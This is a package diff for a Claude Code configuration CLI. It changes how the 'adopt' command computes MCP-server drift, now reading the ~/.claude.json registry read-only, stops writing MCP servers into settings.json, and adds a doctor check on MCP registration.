package/dist/cli/adopt/derive.js
CHANGED
|
@@ -99,14 +99,16 @@ export function synthesizeName(d, taken) {
|
|
|
99
99
|
function isRecord(x) {
|
|
100
100
|
return typeof x === "object" && x !== null && !Array.isArray(x);
|
|
101
101
|
}
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
102
|
+
/**
|
|
103
|
+
* Shared per-entry projection: a raw `{ name -> spec }` map (settings.json's
|
|
104
|
+
* `mcpServers` block, or the registry's top-level `mcpServers` key) into the
|
|
105
|
+
* flat `DerivedMcp[]` shape both `parseSettingsMcpServers` (dead-block
|
|
106
|
+
* warning, task 83d8d03a) and `projectRegistryMcpServers` (the actual
|
|
107
|
+
* drift source, D-101) need identically.
|
|
108
|
+
*/
|
|
109
|
+
function projectMcpServersRecord(entries) {
|
|
108
110
|
const out = [];
|
|
109
|
-
for (const [name, specRaw] of Object.entries(
|
|
111
|
+
for (const [name, specRaw] of Object.entries(entries)) {
|
|
110
112
|
if (!isRecord(specRaw))
|
|
111
113
|
continue;
|
|
112
114
|
const spec = specRaw;
|
|
@@ -130,6 +132,31 @@ export function parseSettingsMcpServers(raw) {
|
|
|
130
132
|
}
|
|
131
133
|
return out;
|
|
132
134
|
}
|
|
135
|
+
export function parseSettingsMcpServers(raw) {
|
|
136
|
+
if (!isRecord(raw))
|
|
137
|
+
return [];
|
|
138
|
+
const root = raw;
|
|
139
|
+
if (!isRecord(root.mcpServers))
|
|
140
|
+
return [];
|
|
141
|
+
return projectMcpServersRecord(root.mcpServers);
|
|
142
|
+
}
|
|
143
|
+
/**
|
|
144
|
+
* Project the effective Claude Code user-scope MCP registry — the
|
|
145
|
+
* top-level `mcpServers` map of `~/.claude.json` /
|
|
146
|
+
* `$CLAUDE_CONFIG_DIR/.claude.json`, read read-only via
|
|
147
|
+
* `readTopLevelMcpServers` in io/claude-mcp.ts — into the same flat
|
|
148
|
+
* `DerivedMcp[]` shape `parseSettingsMcpServers` produces for the (dead)
|
|
149
|
+
* settings.json block, so `computeMcpDrift` can diff either source
|
|
150
|
+
* against the manifest projection uniformly.
|
|
151
|
+
*
|
|
152
|
+
* D-101: this is now the ONLY source `adopt` uses to compute MCP drift,
|
|
153
|
+
* regardless of the `<file>` CLI argument — settings.json's own
|
|
154
|
+
* `mcpServers` block (still parsed by `parseSettingsMcpServers` above) is
|
|
155
|
+
* dead at runtime and is surfaced only as a warning, never as drift.
|
|
156
|
+
*/
|
|
157
|
+
export function projectRegistryMcpServers(servers) {
|
|
158
|
+
return projectMcpServersRecord(servers);
|
|
159
|
+
}
|
|
133
160
|
export function manifestMcpProjection(manifest, homeDir) {
|
|
134
161
|
const out = manifest.tools.mcp.map(toDerivedMcp);
|
|
135
162
|
// Mirror apply's grounding projection (generate-settings.ts,
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"derive.js","sourceRoot":"","sources":["../../../src/cli/adopt/derive.ts"],"names":[],"mappings":"AACA,OAAO,EACL,sBAAsB,EACtB,yBAAyB,EACzB,uBAAuB,GACxB,MAAM,+BAA+B,CAAC;AAEvC,MAAM,YAAY,GAAG,IAAI,GAAG,CAAC;IAC3B,cAAc;IACd,kBAAkB;IAClB,YAAY;IACZ,aAAa;IACb,MAAM;IACN,cAAc;IACd,YAAY;CACb,CAAC,CAAC;AA0BH;;;GAGG;AACH,MAAM,UAAU,kBAAkB,CAAC,GAAY;IAC7C,IAAI,CAAC,QAAQ,CAAC,GAAG,CAAC;QAAE,OAAO,EAAE,CAAC;IAC9B,MAAM,IAAI,GAAG,GAAmB,CAAC;IACjC,IAAI,CAAC,IAAI,CAAC,KAAK,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC,KAAK,CAAC;QAAE,OAAO,EAAE,CAAC;IACpD,MAAM,GAAG,GAAkB,EAAE,CAAC;IAC9B,KAAK,MAAM,CAAC,KAAK,EAAE,MAAM,CAAC,IAAI,MAAM,CAAC,OAAO,CAAC,IAAI,CAAC,KAAK,CAAC,EAAE,CAAC;QACzD,IAAI,CAAC,YAAY,CAAC,GAAG,CAAC,KAAK,CAAC;YAAE,SAAS;QACvC,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,MAAM,CAAC;YAAE,SAAS;QACrC,KAAK,MAAM,KAAK,IAAI,MAAM,EAAE,CAAC;YAC3B,IAAI,CAAC,QAAQ,CAAC,KAAK,CAAC;gBAAE,SAAS;YAC/B,MAAM,OAAO,GACX,OAAO,KAAK,CAAC,OAAO,KAAK,QAAQ,IAAI,KAAK,CAAC,OAAO,CAAC,MAAM,GAAG,CAAC;gBAC3D,CAAC,CAAC,KAAK,CAAC,OAAO;gBACf,CAAC,CAAC,SAAS,CAAC;YAChB,MAAM,KAAK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IAAI,EAAE,CAAC;IACzB,MAAM,EAAE,GAAG,MAAM,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,IAAI,EAAE,CAAC;IACpC,MAAM,EAAE,GAAG,MAAM,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,IAAI,EAAE,CAAC;IACpC,IAAI,EAAE,CAAC,MAAM,KAAK,EAAE,CAAC,MAAM;QAAE,OAAO,KAAK,CAAC;IAC1C,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,EAAE,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE,CAAC;QACnC,MAAM,EAAE,GAAG,EAAE,CAAC,CAAC,CAAE,CAAC;QAClB,MAAM,EAAE,GAAG,EAAE,CAAC,CAAC,CAAE,CAAC;QAClB,IAAI,EAAE,KAAK,EAAE;YAAE,OAAO,KAAK,CAAC;QAC5B,IAAI,IAAI,CAAC,EAAE,CAAC,KAAK,IAAI,CAAC,EAAE,CAAC;YAAE,OAAO,KAAK,CAAC;IAC1C,CAAC;IACD,OAAO,IAAI,CAAC;AACd,CAAC"}
|
|
@@ -11,6 +11,21 @@ export interface AdoptOptions {
|
|
|
11
11
|
* exercised hermetically.
|
|
12
12
|
*/
|
|
13
13
|
stdinIsTTY?: boolean;
|
|
14
|
+
/**
|
|
15
|
+
* Test seam (D-101/D-102, task 83d8d03a): explicit override for the
|
|
16
|
+
* Claude Code user-scope MCP registry file (~/.claude.json /
|
|
17
|
+
* $CLAUDE_CONFIG_DIR/.claude.json) `adopt` reads READ-ONLY to compute
|
|
18
|
+
* MCP drift. Takes precedence over `env`. Production callers leave this
|
|
19
|
+
* unset; the CLI never needs to pass it since the real registry always
|
|
20
|
+
* lives at the resolved default path.
|
|
21
|
+
*/
|
|
22
|
+
registryPath?: string;
|
|
23
|
+
/**
|
|
24
|
+
* Override for process.env (CLAUDE_CONFIG_DIR lookup) used to resolve
|
|
25
|
+
* the default registry path when `registryPath` is not given. Defaults
|
|
26
|
+
* to `process.env`.
|
|
27
|
+
*/
|
|
28
|
+
env?: NodeJS.ProcessEnv;
|
|
14
29
|
}
|
|
15
30
|
export interface AdoptResult {
|
|
16
31
|
manifestPath: string;
|
|
@@ -31,5 +46,20 @@ export interface AdoptResult {
|
|
|
31
46
|
replacedMcpNames: string[];
|
|
32
47
|
/** Human-readable status: "no-drift" | "declined" | "applied". */
|
|
33
48
|
outcome: "no-drift" | "declined" | "applied";
|
|
49
|
+
/**
|
|
50
|
+
* Names present in a legacy/dead top-level `mcpServers` block inside
|
|
51
|
+
* `settingsPath` (D-101, task 83d8d03a). Claude Code does not read this
|
|
52
|
+
* file for MCP registration at runtime (io/claude-mcp.ts:1-9) — this is
|
|
53
|
+
* surfaced purely as a cleanup hint, NEVER as a source of `mcpDrift`.
|
|
54
|
+
* Sorted; empty when `settingsPath` has no such block.
|
|
55
|
+
*/
|
|
56
|
+
deadSettingsMcpNames: string[];
|
|
57
|
+
/**
|
|
58
|
+
* Set when the effective MCP registry file could not be read safely
|
|
59
|
+
* (malformed JSON, `mcpServers` not an object — an ENOENT/missing file
|
|
60
|
+
* is NOT an error and leaves this unset). MCP drift is computed against
|
|
61
|
+
* an empty registry projection in that case rather than guessing.
|
|
62
|
+
*/
|
|
63
|
+
registryReadError?: string;
|
|
34
64
|
}
|
|
35
65
|
export declare function adopt(settingsPath: string, opts?: AdoptOptions): Promise<AdoptResult>;
|
package/dist/cli/adopt/index.js
CHANGED
|
@@ -10,7 +10,8 @@ import { formatValidationErrors, validateBeforeWrite, } from "../../io/validate-
|
|
|
10
10
|
import { parseManifest } from "../../schema/index.js";
|
|
11
11
|
import { applyAdd } from "../add/mutate.js";
|
|
12
12
|
import { EX_FAIL, EX_NOINPUT, HarnessExitError } from "../exit-codes.js";
|
|
13
|
-
import {
|
|
13
|
+
import { readTopLevelMcpServers, resolveClaudeUserRegistryPath } from "../../io/claude-mcp.js";
|
|
14
|
+
import { computeDrift, computeMcpDrift, manifestMcpProjection, manifestProjection, parseSettingsHooks, parseSettingsMcpServers, projectRegistryMcpServers, synthesizeName, } from "./derive.js";
|
|
14
15
|
const DEFAULT_BASENAME = "harness.yaml";
|
|
15
16
|
const LOCK_BASENAME = ".harness.lock";
|
|
16
17
|
function resolveManifestPath(opts) {
|
|
@@ -50,9 +51,22 @@ export async function adopt(settingsPath, opts = {}) {
|
|
|
50
51
|
}
|
|
51
52
|
const settingsHooks = parseSettingsHooks(settingsRaw);
|
|
52
53
|
const drift = computeDrift(settingsHooks, projection);
|
|
53
|
-
|
|
54
|
+
// D-101: MCP drift is ALWAYS computed against the effective Claude Code
|
|
55
|
+
// user-scope registry (read-only top-level `mcpServers` of
|
|
56
|
+
// ~/.claude.json / $CLAUDE_CONFIG_DIR/.claude.json), regardless of
|
|
57
|
+
// `settingsPath` — Claude Code does not consume settings.json's
|
|
58
|
+
// `mcpServers` block at runtime (io/claude-mcp.ts:1-9). `settingsPath`
|
|
59
|
+
// remains the source for hook adoption above. A dead `mcpServers` block
|
|
60
|
+
// in `settingsPath`, if present, is still surfaced (`deadSettingsMcpNames`)
|
|
61
|
+
// as a cleanup hint but never feeds `mcpDrift`.
|
|
62
|
+
const deadSettingsMcpNames = parseSettingsMcpServers(settingsRaw)
|
|
63
|
+
.map((m) => m.name)
|
|
64
|
+
.sort();
|
|
65
|
+
const registryPath = opts.registryPath ?? resolveClaudeUserRegistryPath({ env: opts.env });
|
|
66
|
+
const { servers: registryServers, error: registryReadError } = readTopLevelMcpServers(registryPath);
|
|
67
|
+
const registryMcp = projectRegistryMcpServers(registryServers);
|
|
54
68
|
const mcpProjection = manifestMcpProjection(manifest);
|
|
55
|
-
const mcpDrift = computeMcpDrift(
|
|
69
|
+
const mcpDrift = computeMcpDrift(registryMcp, mcpProjection);
|
|
56
70
|
if (drift.length === 0 && mcpDrift.length === 0) {
|
|
57
71
|
return {
|
|
58
72
|
manifestPath,
|
|
@@ -66,6 +80,8 @@ export async function adopt(settingsPath, opts = {}) {
|
|
|
66
80
|
adoptedMcpNames: [],
|
|
67
81
|
replacedMcpNames: [],
|
|
68
82
|
outcome: "no-drift",
|
|
83
|
+
deadSettingsMcpNames,
|
|
84
|
+
...(registryReadError !== null ? { registryReadError } : {}),
|
|
69
85
|
};
|
|
70
86
|
}
|
|
71
87
|
const taken = new Set(manifest.hooks.map((h) => h.name));
|
|
@@ -135,6 +151,8 @@ export async function adopt(settingsPath, opts = {}) {
|
|
|
135
151
|
adoptedMcpNames,
|
|
136
152
|
replacedMcpNames,
|
|
137
153
|
outcome: "declined",
|
|
154
|
+
deadSettingsMcpNames,
|
|
155
|
+
...(registryReadError !== null ? { registryReadError } : {}),
|
|
138
156
|
};
|
|
139
157
|
}
|
|
140
158
|
}
|
|
@@ -191,6 +209,8 @@ export async function adopt(settingsPath, opts = {}) {
|
|
|
191
209
|
adoptedMcpNames,
|
|
192
210
|
replacedMcpNames,
|
|
193
211
|
outcome: "applied",
|
|
212
|
+
deadSettingsMcpNames,
|
|
213
|
+
...(registryReadError !== null ? { registryReadError } : {}),
|
|
194
214
|
};
|
|
195
215
|
}
|
|
196
216
|
function buildMcpEntry(d, existing) {
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../../src/cli/adopt/index.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,MAAM,SAAS,CAAC;AAC9B,OAAO,KAAK,IAAI,MAAM,WAAW,CAAC;AAClC,OAAO,KAAK,QAAQ,MAAM,wBAAwB,CAAC;AACnD,OAAO,EAAE,KAAK,IAAI,SAAS,EAAE,MAAM,MAAM,CAAC;AAC1C,OAAO,EAAE,eAAe,EAAE,MAAM,0BAA0B,CAAC;AAC3D,OAAO,EAAE,cAAc,EAAE,MAAM,2BAA2B,CAAC;AAC3D,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAChD,OAAO,EACL,sBAAsB,EACtB,mBAAmB,GACpB,MAAM,mCAAmC,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|
@@ -25,12 +25,25 @@ export interface SettingsPermissions {
|
|
|
25
25
|
}
|
|
26
26
|
export interface SettingsRoot {
|
|
27
27
|
hooks: Record<string, SettingsHookGroup[]>;
|
|
28
|
-
mcpServers?: Record<string, SettingsMcpServer>;
|
|
29
28
|
permissions?: SettingsPermissions;
|
|
30
29
|
}
|
|
31
30
|
export interface GenerateSettingsResult {
|
|
32
31
|
root: SettingsRoot;
|
|
33
32
|
warnings: string[];
|
|
33
|
+
/**
|
|
34
|
+
* The manifest's `tools.mcp[]` entries translated into Claude Code's
|
|
35
|
+
* server-spec shape (command/args/env), INCLUDING the grounding-mcp
|
|
36
|
+
* `EVIDENCE_LEDGER_DB` projection (`projectGroundingEnv`). Deliberately
|
|
37
|
+
* NOT part of `root` and never serialized into settings.json (task
|
|
38
|
+
* init-mcp-wiring-claude-code/T-002): Claude Code does not read the
|
|
39
|
+
* settings.json `mcpServers` block at runtime — see
|
|
40
|
+
* `src/io/claude-mcp.ts`'s module header. User-scope MCP registration
|
|
41
|
+
* goes exclusively through the `claude mcp` CLI now
|
|
42
|
+
* (`ensureMcpServers`); this field is what feeds that path. The init
|
|
43
|
+
* wizard (`src/cli/init/interactive.ts`) reads it directly instead of
|
|
44
|
+
* reading it back out of a written settings.json.
|
|
45
|
+
*/
|
|
46
|
+
mcpServers: Record<string, SettingsMcpServer>;
|
|
34
47
|
}
|
|
35
48
|
export interface GenerateSettingsExtras {
|
|
36
49
|
/**
|
|
@@ -78,14 +78,18 @@ export function generateSettingsWithWarnings(manifest, extras = {}) {
|
|
|
78
78
|
const hooks = byEvent.get(event) ?? [];
|
|
79
79
|
out.hooks[event] = buildGroups(hooks);
|
|
80
80
|
}
|
|
81
|
+
// buildMcpServers/projectGroundingEnv still run here (not moved) so the
|
|
82
|
+
// env-tilde and empty-command warnings stay attached to the same
|
|
83
|
+
// `warnings` array regardless of which path (settings.json hooks vs.
|
|
84
|
+
// the claude-mcp Ensure path) consumes the resulting spec map. The
|
|
85
|
+
// result is intentionally NOT projected into `out` — see
|
|
86
|
+
// GenerateSettingsResult.mcpServers.
|
|
81
87
|
const mcp = buildMcpServers(manifest.tools.mcp, warnings);
|
|
82
88
|
projectGroundingEnv(manifest, mcp, extras.homeDir);
|
|
83
|
-
if (Object.keys(mcp).length > 0)
|
|
84
|
-
out.mcpServers = mcp;
|
|
85
89
|
const permissions = compactPermissions(extras.packPermissions);
|
|
86
90
|
if (permissions)
|
|
87
91
|
out.permissions = permissions;
|
|
88
|
-
return { root: out, warnings };
|
|
92
|
+
return { root: out, warnings, mcpServers: mcp };
|
|
89
93
|
}
|
|
90
94
|
function compactPermissions(p) {
|
|
91
95
|
if (!p)
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"generate-settings.js","sourceRoot":"","sources":["../../../src/cli/apply/generate-settings.ts"],"names":[],"mappings":"AAAA,+EAA+E;AAC/E,iFAAiF;AACjF,sEAAsE;AACtE,EAAE;AACF,sEAAsE;AACtE,EAAE;AACF,uFAAuF;AACvF,EAAE;AACF,wEAAwE;AACxE,0EAA0E;AAC1E,2EAA2E;AAC3E,kCAAkC;AAClC,6EAA6E;AAC7E,0EAA0E;AAC1E,mDAAmD;AACnD,4EAA4E;AAC5E,uEAAuE;AACvE,wEAAwE;AACxE,yEAAyE;AACzE,qEAAqE;AACrE,yEAAyE;AACzE,0EAA0E;AAC1E,sEAAsE;AACtE,yEAAyE;AACzE,2EAA2E;AAC3E,yEAAyE;AACzE,0EAA0E;AAC1E,uEAAuE;AACvE,sEAAsE;AACtE,yEAAyE;AACzE,uEAAuE;AACvE,oEAAoE;AACpE,0EAA0E;AAC1E,qEAAqE;AACrE,uEAAuE;AACvE,wEAAwE;AACxE,0CAA0C;AAC1C,EAAE;AACF,0EAA0E;AAC1E,gBAAgB;AAChB,uEAAuE;AACvE,0DAA0D;AAC1D,4DAA4D;AAC5D,yEAAyE;AACzE,oDAAoD;AAGpD,OAAO,EAAE,UAAU,EAAE,MAAM,8BAA8B,CAAC;AAE1D,MAAM,CAAC,MAAM,iBAAiB,GAAG,MAAM,CAAC;AAExC,iFAAiF;AACjF,MAAM,CAAC,MAAM,yBAAyB,GAAG,eAAe,CAAC;AACzD,uFAAuF;AACvF,MAAM,CAAC,MAAM,sBAAsB,GAAG,oBAAoB,CAAC;
|
|
1
|
+
{"version":3,"file":"generate-settings.js","sourceRoot":"","sources":["../../../src/cli/apply/generate-settings.ts"],"names":[],"mappings":"AAAA,+EAA+E;AAC/E,iFAAiF;AACjF,sEAAsE;AACtE,EAAE;AACF,sEAAsE;AACtE,EAAE;AACF,uFAAuF;AACvF,EAAE;AACF,wEAAwE;AACxE,0EAA0E;AAC1E,2EAA2E;AAC3E,kCAAkC;AAClC,6EAA6E;AAC7E,0EAA0E;AAC1E,mDAAmD;AACnD,4EAA4E;AAC5E,uEAAuE;AACvE,wEAAwE;AACxE,yEAAyE;AACzE,qEAAqE;AACrE,yEAAyE;AACzE,0EAA0E;AAC1E,sEAAsE;AACtE,yEAAyE;AACzE,2EAA2E;AAC3E,yEAAyE;AACzE,0EAA0E;AAC1E,uEAAuE;AACvE,sEAAsE;AACtE,yEAAyE;AACzE,uEAAuE;AACvE,oEAAoE;AACpE,0EAA0E;AAC1E,qEAAqE;AACrE,uEAAuE;AACvE,wEAAwE;AACxE,0CAA0C;AAC1C,EAAE;AACF,0EAA0E;AAC1E,gBAAgB;AAChB,uEAAuE;AACvE,0DAA0D;AAC1D,4DAA4D;AAC5D,yEAAyE;AACzE,oDAAoD;AAGpD,OAAO,EAAE,UAAU,EAAE,MAAM,8BAA8B,CAAC;AAE1D,MAAM,CAAC,MAAM,iBAAiB,GAAG,MAAM,CAAC;AAExC,iFAAiF;AACjF,MAAM,CAAC,MAAM,yBAAyB,GAAG,eAAe,CAAC;AACzD,uFAAuF;AACvF,MAAM,CAAC,MAAM,sBAAsB,GAAG,oBAAoB,CAAC;AAoE3D,MAAM,UAAU,gBAAgB,CAAC,QAAkB;IACjD,OAAO,4BAA4B,CAAC,QAAQ,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;AACvE,CAAC"}
|
|
@@ -92,9 +92,11 @@ export function persistStdinReport(args) {
|
|
|
92
92
|
// carries sessionId (findLatestParseError skips logs it cannot
|
|
93
93
|
// attribute to the approving session).
|
|
94
94
|
const parseErrorDir = path.join(path.dirname(args.reportsDir), "parse-errors");
|
|
95
|
+
const malformedSections = result.error.malformedSections ?? [];
|
|
95
96
|
const payload = `${JSON.stringify({
|
|
96
97
|
reason: result.error.reason,
|
|
97
98
|
missing: result.error.missing,
|
|
99
|
+
malformedSections,
|
|
98
100
|
schemaErrors: result.error.schemaErrors,
|
|
99
101
|
message: result.error.message,
|
|
100
102
|
stamp,
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"stdin-report.js","sourceRoot":"","sources":["../../../src/cli/approve/stdin-report.ts"],"names":[],"mappings":"AAAA,sEAAsE;AACtE,EAAE;AACF,yEAAyE;AACzE,qEAAqE;AACrE,uEAAuE;AACvE,sEAAsE;AACtE,wEAAwE;AACxE,qDAAqD;AACrD,wEAAwE;AACxE,wEAAwE;AACxE,uEAAuE;AACvE,sCAAsC;AACtC,EAAE;AACF,uEAAuE;AACvE,wEAAwE;AACxE,yDAAyD;AACzD,qEAAqE;AACrE,gCAAgC;AAEhC,OAAO,KAAK,IAAI,MAAM,WAAW,CAAC;AAClC,OAAO,EAAE,UAAU,EAAE,MAAM,aAAa,CAAC;AACzC,OAAO,EAAE,WAAW,EAAE,MAAM,iCAAiC,CAAC;AAC9D,OAAO,EAAE,eAAe,EAAE,MAAM,0BAA0B,CAAC;AAiB3D,qEAAqE;AACrE,SAAS,YAAY,CAAC,GAAW;IAC/B,MAAM,OAAO,GAAG,GAAG,CAAC,OAAO,CAAC,kBAAkB,EAAE,GAAG,CAAC,CAAC,OAAO,CAAC,UAAU,EAAE,EAAE,CAAC,CAAC;IAC7E,OAAO,OAAO,CAAC,KAAK,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC;AAC9B,CAAC;AAED,SAAS,mBAAmB,CAAC,KAI5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GAAG,GAAG,IAAI,CAAC,SAAS,CAAC,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC,IAAI,CAAC;IACvD,MAAM,IAAI,GAAG,UAAU,CAAC,QAAQ,CAAC,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC;IACzE,MAAM,IAAI,GAAG,YAAY,CAAC,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,IAAI,QAAQ,CAAC;IAC5D,MAAM,QAAQ,GAAG,IAAI,CAAC,IAAI,CAAC,IAAI,CAAC,UAAU,EAAE,GAAG,KAAK,IAAI,IAAI,IAAI,IAAI,OAAO,CAAC,CAAC;IAC7E,IAAI,CAAC;QACH,eAAe,CAAC,QAAQ,EAAE,IAAI,CAAC,CAAC;IAClC,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,OAAO;YACL,EAAE,EAAE,KAAK;YACT,MAAM,EAAE,+CAA+C,QAAQ,KAAM,GAAa,CAAC,OAAO,EAAE;SAC7F,CAAC;IACJ,CAAC;IACD,OAAO,EAAE,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE,CAAC;AAChC,CAAC"}
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
import type { Manifest } from "../../schema/index.js";
|
|
2
|
+
import { type ClaudeMcpExec } from "../../io/claude-mcp.js";
|
|
3
|
+
export interface ClaudeMcpEntryReport {
|
|
4
|
+
name: string;
|
|
5
|
+
status: "ok" | "warn" | "error";
|
|
6
|
+
message: string;
|
|
7
|
+
}
|
|
8
|
+
/**
|
|
9
|
+
* Claude Code MCP registration health. Present whenever `tools.mcp[]` is
|
|
10
|
+
* non-empty (see the module header for why the gate isn't further
|
|
11
|
+
* narrowed by runtime).
|
|
12
|
+
*/
|
|
13
|
+
export interface ClaudeMcpRegistrationSection {
|
|
14
|
+
/**
|
|
15
|
+
* Outcome of the underlying `claude mcp list` call. `"skipped"` means
|
|
16
|
+
* `--shallow` suppressed the live probe. When there are zero ENABLED
|
|
17
|
+
* `tools.mcp[]` servers, this is trivially `"ok"` with empty `entries`
|
|
18
|
+
* — nothing to look up, so no spawn happens either.
|
|
19
|
+
*/
|
|
20
|
+
listStatus: "ok" | "cli-missing" | "timeout" | "error" | "skipped";
|
|
21
|
+
/** Present when listStatus !== "ok": why (CLI missing / timed out / spawn error / shallow skip). */
|
|
22
|
+
listMessage?: string;
|
|
23
|
+
/**
|
|
24
|
+
* Per-server registration status, populated only when `listStatus ===
|
|
25
|
+
* "ok"`. `"error"` entries roll into `errorCount`; `"warn"` entries
|
|
26
|
+
* roll into `warningCount` (see `countDiagnostics` in `index.ts`).
|
|
27
|
+
*/
|
|
28
|
+
entries: ClaudeMcpEntryReport[];
|
|
29
|
+
/**
|
|
30
|
+
* harness-owned MCP server names still present in the dead
|
|
31
|
+
* `~/.claude/settings.json` `mcpServers` block (a leftover from the
|
|
32
|
+
* pre-T-002 write path that Claude Code never actually read).
|
|
33
|
+
*/
|
|
34
|
+
deadSettingsBlockNames: string[];
|
|
35
|
+
/**
|
|
36
|
+
* Roll-up warnings (list unavailable for a reason other than "CLI not
|
|
37
|
+
* installed", dead settings.json block). Each rolls into
|
|
38
|
+
* `warningCount`, mirroring `GroundingSection.warnings` /
|
|
39
|
+
* `RiskGateSection.warnings`.
|
|
40
|
+
*/
|
|
41
|
+
warnings: string[];
|
|
42
|
+
}
|
|
43
|
+
export interface BuildClaudeMcpRegistrationOptions {
|
|
44
|
+
/** Operator home dir, for locating `~/.claude/settings.json`. Same `home` doctor threads through the other checks. */
|
|
45
|
+
home: string;
|
|
46
|
+
shallow?: boolean;
|
|
47
|
+
/** Test-injection knob; production omits this and the real `claude` CLI is spawned. */
|
|
48
|
+
claudeMcpExec?: ClaudeMcpExec;
|
|
49
|
+
}
|
|
50
|
+
export declare function buildClaudeMcpRegistration(manifest: Manifest, opts: BuildClaudeMcpRegistrationOptions): Promise<ClaudeMcpRegistrationSection>;
|